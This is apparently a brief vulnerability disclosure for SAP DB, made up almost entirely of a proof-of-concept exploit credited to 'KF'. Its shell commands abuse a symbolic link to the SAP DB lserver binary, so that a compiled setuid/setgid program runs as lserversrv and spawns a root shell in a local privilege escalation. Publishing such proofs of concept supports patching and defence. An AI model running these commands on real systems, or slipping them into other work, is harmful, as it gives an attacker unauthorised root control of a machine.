SAP DB Symbolic Link Vulnerability

The following proof of concept was provided by KF

cd /tmp
mkdir "snosoft+sapdb=root"
cd "snosoft+sapdb=root"
ln -s /usr/sapdb/depend/pgm/lserver lserver
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c
cc -o root root.c
cp root lserversrv
./lserver


 

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